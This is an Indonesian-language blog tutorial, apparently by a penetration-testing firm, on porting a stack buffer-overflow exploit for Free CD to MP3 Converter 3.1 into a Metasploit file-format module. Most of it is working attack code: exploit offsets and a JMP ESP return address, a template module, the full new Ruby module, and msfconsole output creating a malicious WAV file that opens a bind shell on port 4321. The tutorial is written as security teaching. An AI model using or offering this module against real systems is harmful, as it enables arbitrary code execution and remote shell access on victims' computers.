Porting Your Exploit to Metasploit

Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.

Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:

junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)

Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.

Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori /opt/framework/msf3/modules/exploits/windows/fileformat/

##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote         
  Rank = NormalRanking         
  include Msf::Exploit::FILEFORMAT         
  include Msf::Exploit::Remote::Seh         
  
  def initialize(info = {})                 
    super(update_info(info,                         
      'Name'           => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
      'Version'        => '$Revision: 12196 $',
      'References'     =>
        [
          [ 'OSVDB', '67241' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],     # p/p/r in wavtomp3.exe
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Aug 17 2010',
       'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << generate_seh_payload(target.ret)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end

end

Bagian yang perlu diperhatikan adalah:

  • include Msf::Exploit::FILEFORMAT

    bagian ini menandakan bahwa exploit ini termasuk dalam fileformat exploit.

  • Payload

    bagian ini berisi space, badchars, dll

  • Targets

    bagian ini berisi offset

  • def exploit

    bagian ini berisi urutan eksploitasi.

Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.

##

##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote         
  Rank = NormalRanking         
  include Msf::Exploit::FILEFORMAT         
  include Msf::Exploit::Remote::Seh         
  
  def initialize(info = {})                 
    super(update_info(info,                         
      'Name'           => 'Free CD to MP3 Converter 3.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'C4SS!0 G0M3S', # Original Exploit
          'modpr0be'       # MSF Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '69116' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x1a\x0f",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows XP Universal', { 
                    'Ret' => 0x00463B91,     # perintah JMP ESP yang akan menimpa EIP.
                    'Offset' => 4112 } ],    # jmp esp in cdextract.exe, jumlah offset yang dicapai untuk menimpa EIP
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Nov 10 2010',
       'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << make_nops(5000 - (payload.encoded.length))
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)

  end

end

Perhatikan bagian target pada script ruby diatas, terdapat bagian-bagian berikut:

Ret => 0x00463B91

adalah perintah JMP ESP yang akan menimpa EIP.

Offset => 4112

adalah jumlah offset yang dicapai untuk menimpa EIP 🙂

Lalu bagian paling penting dari script tersebut, yaitu def exploit;

rand_text_alpha(target['Offset']

bagian ini adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan Offset yang telah kita tentukan di option Target sebelumnya. Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya [target.ret].pack(‘V’) memanggil alamat Ret => 0x00463B91 yang telah kita tentukan sebelumnya dan segera menimpa EIP. Setelah itu

make_nops(32)

akan menciptakan Nopsled sebanyak 32 bytes agar menjadi ‘landasan kosong’ sebelum mencapai shellcode. Bagian berikutnya,

payload.encoded

adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: set payload windows/shell_bind_tcp). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya agar mencapai 5000 bytes (sesuai dengan buffer yang saya kirim sebelumnya). Lalu function

file_create(sploit)

menulis variable sploit dan menciptakan file msf.wav.

Simpan file diatas dengan nama freecdmp3_bof.rb dan copy ke folder /opt/framework/msf3/modules/exploits/windows/fileformat/ agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)

msf > use exploit/windows/fileformat/freecdmp3_bof
msf  exploit(freecdmp3_wav) > info

       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_bof
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  C4SS!0 G0M3S
  modpr0be

Available targets:
  Id  Name
  --  ----
  0   Windows XP Universal

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.

References:
  http://www.osvdb.org/69116
  
Exploit
msf exploit(freecdmp3_bof) > set payload windows/shell_bind_tcp payload => windows/shell_bind_tcp msf exploit(freecdmp3_bof) > set lport 4321 lport => 4321 msf exploit(freecdmp3_bof) > exploit [*] Creating 'msf.wav' file ... [*] Generated output file /home/tom/.msf4/data/exploits/msf.wav msf exploit(freecdmp3_bof) >

Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat ‘hang’ tapi jika kita lihat melalui netstat:

Terdapat port 4321 yang sedang LISTENING. Dan ketika kita melakukan koneksi ke port tersebut

Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama. Selamat mencoba!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Spentera

We are specializing in penetration test, vulnerability assessment, computer forensics, as well as intrusion analyst and malware analysis. Customers can contact us directly at contact[at]spentera[dot]id, or use Contact Our Team menu on the sidebar.